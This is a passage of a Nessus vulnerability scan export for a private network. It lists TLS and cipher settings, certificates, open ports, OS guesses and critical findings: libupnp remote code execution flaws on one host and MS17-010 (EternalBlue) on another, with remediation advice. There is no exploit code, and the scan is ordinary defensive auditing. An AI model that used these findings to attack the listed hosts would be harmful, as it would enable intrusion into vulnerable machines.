    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		70544						None		192.168.0.25		tcp		8443		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		83298						None		192.168.0.25		tcp		8009		SSL Certificate Chain Contains Certificates Expiring Soon		The remote host has an SSL certificate chain with one or more
certificates that are going to expire soon.		The remote host has an SSL certificate chain with one or more SSL
certificates that are going to expire soon. Failure to renew these
certificates before the expiration date may result in denial of
service for users.		Renew any soon to expire SSL certificates.				
The following soon to expire certificate was part of the certificate
chain sent by the remote host :

|-Subject   : CN=02396355-86f2-724c-b621-a89625b919e3
|-Not After : Nov 06 16:40:10 2020 GMT
										None								5/8/15		5/8/15

		86420						None		192.168.0.25		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 44:07:0B:35:00:40
										None								10/16/15		5/13/20

		64394		CVE-2012-5962		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5963		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		121010						None		192.168.0.25		tcp		8009		TLS Version 1.1 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.1.
TLS 1.1 lacks support for current and recommended cipher suites.
Ciphers that support encryption before MAC computation, and
authenticated encryption modes such as GCM cannot be used with
TLS 1.1

As of March 31, 2020, Endpoints that are not enabled for TLS 1.2 
and higher will no longer function properly with major web browsers and major vendors.		Enable support for TLS 1.2 and/or 1.3, and disable support for TLS 1.1.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00
http://www.nessus.org/u?c8ae820d		TLSv1.1 is enabled and the server supports at least one cipher.										None								1/8/19		8/7/20

		121010						None		192.168.0.25		tcp		8443		TLS Version 1.1 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.1.
TLS 1.1 lacks support for current and recommended cipher suites.
Ciphers that support encryption before MAC computation, and
authenticated encryption modes such as GCM cannot be used with
TLS 1.1

As of March 31, 2020, Endpoints that are not enabled for TLS 1.2 
and higher will no longer function properly with major web browsers and major vendors.		Enable support for TLS 1.2 and/or 1.3, and disable support for TLS 1.1.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00
http://www.nessus.org/u?c8ae820d		TLSv1.1 is enabled and the server supports at least one cipher.										None								1/8/19		8/7/20

		136318						None		192.168.0.25		tcp		8009		TLS Version 1.2 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.2.		N/A		https://tools.ietf.org/html/rfc5246		TLSv1.2 is enabled and the server supports at least one cipher.										None								5/4/20		5/4/20

		136318						None		192.168.0.25		tcp		8443		TLS Version 1.2 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.2.		N/A		https://tools.ietf.org/html/rfc5246		TLSv1.2 is enabled and the server supports at least one cipher.										None								5/4/20		5/4/20

		138330						None		192.168.0.25		tcp		8009		TLS Version 1.3 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.3.		N/A		https://tools.ietf.org/html/rfc8446		TLSv1.3 is enabled and the server supports at least one cipher.										None								7/9/20		7/9/20

		10114		CVE-1999-0524		0		None		192.168.0.26		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10267						None		192.168.0.26		tcp		22		SSH Server Type and Version Information		An SSH server is listening on this port.		It is possible to obtain information about the remote SSH server by
sending an empty authentication request.		n/a				
SSH version : SSH-2.0-dropbear_2015.67
SSH supported authentication : publickey,password
										None				IAVT:0001-T-0933				10/12/99		9/22/20

		10287						None		192.168.0.26		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.26 : 
192.168.0.35
192.168.0.26

Hop Count: 1
										None								11/27/99		8/20/20

		10863						None		192.168.0.26		tcp		443		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Country: CN
Common Name: TP-Link

Issuer Name: 

Country: CN
Common Name: TP-Link

Serial Number: 00 94 D4 AB 13 2E 27 80 4D 

Version: 1

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Jul 03 10:51:25 2020 GMT
Not Valid After: Jul 02 10:51:25 2025 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 9D AC D3 8B 75 2C 6D B4 5A 3B 6C B9 46 BC C8 DD F3 BF 31 
            85 1C 7B F6 2C 2C B6 16 C4 89 85 E8 AD 5E B1 29 2B 49 9F 2A 
            C5 3F 8D FD F9 E8 7D 7E 0B AC 35 B1 6A D5 3E 0A 81 27 BE 56 
            FA 88 3E F9 6A F3 DC C3 3F 4E FB D0 AD 2F 5B 0D 11 DD EE 03 
            4C 25 83 29 59 38 36 22 4F FF D3 32 5C 82 7D 4C 05 45 F1 D0 
            34 26 A2 5D DE D7 24 82 1A AE F6 01 C0 91 05 52 AF C8 EC 46 
            04 97 89 78 AF CA 15 C6 39 
Exponent: 01 00 01 

Signature Length: 128 bytes / 1024 bits
Signature: 00 0A FB AC 39 2B 20 94 E4 F2 E0 5B 99 FA 1F 88 67 26 DF 39 
           CE A6 51 08 A9 8F BA F4 A1 F4 4B 64 5A 65 E3 35 EE 33 1C 46 
           47 6E F8 AE 74 8F 7C 07 03 93 D7 BF 2F 48 05 E0 E1 8D 29 26 
           B7 BC 22 49 0E 60 9F 5E 25 62 84 BF 88 51 53 BE FF 49 C9 EF 
           57 81 76 19 6A 56 86 5B 3F 24 BC 82 3A 23 11 6E B1 59 C6 D9 
           CB B1 82 F6 B2 3C D1 47 93 7F BA 3C EA E1 57 7A A5 FF B2 74 
           20 C5 8F 3C E1 77 45 4F AB 

Fingerprints : 

SHA-256 Fingerprint: 2B 1A B7 94 F3 9A 13 73 D0 26 56 64 6F DC 98 8B 41 49 B6 AF 
                     83 AF 5A B9 A7 7D 95 58 67 EA 1E D8 
SHA-1 Fingerprint: 4E 90 6C AF 12 CC BA 2F 9D E8 AB 44 08 19 C7 E8 9A 91 3D 6A 
MD5 Fingerprint: 7F 27 17 3E 57 F0 13 31 66 F1 1A F5 55 77 39 9B 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		11219						None		192.168.0.26		tcp		22		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 22/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.26		tcp		80		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 80/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.26		tcp		443		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 443/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.26		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 3.1
Linux Kernel 3.3
Confidence level : 59
Method : SinFP

 
The remote host is running one of these operating systems : 
Linux Kernel 3.1
Linux Kernel 3.3										None								12/9/03		3/9/20

		12053						None		192.168.0.26		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.26 resolves as deco-E4R.
										None								2/11/04		4/14/17

		19506						None		192.168.0.26		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 302 sec
										None								8/26/05		8/27/20

		21643						None		192.168.0.26		tcp		443		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv1
  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		22964						None		192.168.0.26		tcp		22		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				An SSH server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.26		tcp		80		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.26		tcp		443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.26		tcp		443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port through TLSv1.										None								8/19/07		8/18/20

		24260						None		192.168.0.26		tcp		80		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Connection: Keep-Alive
  Keep-Alive: timeout=20
  ETag: "736-110-5ed60b90"
  Last-Modified: Tue, 02 Jun 2020 08:19:28 GMT
  Date: Thu, 05 Nov 2020 18:12:06 GMT
  Content-Type: text/html
  Content-Length: 272
  
Response Body :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="refresh" content="0; URL=/webpages/index.html" />
</head>
</html>
										None								1/30/07		11/22/19

		24260						None		192.168.0.26		tcp		443		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : yes
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Connection: Keep-Alive
  Keep-Alive: timeout=20
  ETag: "736-110-5ed60b90"
  Last-Modified: Tue, 02 Jun 2020 08:19:28 GMT
  Date: Thu, 05 Nov 2020 18:12:07 GMT
  Content-Type: text/html
  Content-Length: 272
  
Response Body :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="refresh" content="0; URL=/webpages/index.html" />
</head>
</html>
										None								1/30/07		11/22/19

		25220						None		192.168.0.26		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		64394		CVE-2012-5964		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		35716						None		192.168.0.26		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

D8:47:32:3B:B1:7C : TP-LINK TECHNOLOGIES CO.,LTD.
										None								2/19/09		5/13/20

		64394		CVE-2012-5965		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		45410						None		192.168.0.26		tcp		443		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  deco-e4r

The Common Name in the certificate is :

  tp-link
										None								4/3/10		6/25/19

		45590						None		192.168.0.26		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE's : 

  cpe:/o:linux:linux_kernel:3.1
  cpe:/o:linux:linux_kernel:3.3
										None								4/21/10		9/30/20

		50845						None		192.168.0.26		tcp		443		OpenSSL Detection		The remote service appears to use OpenSSL to encrypt traffic.		Based on its response to a TLS request with a specially crafted
server name extension, it seems that the remote service is using the
OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that
have enabled support for TLS extensions (RFC 4366).		n/a		https://www.openssl.org/												None								11/30/10		6/12/20

		97833		CVE-2017-0143		9.3		High		192.168.0.31		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
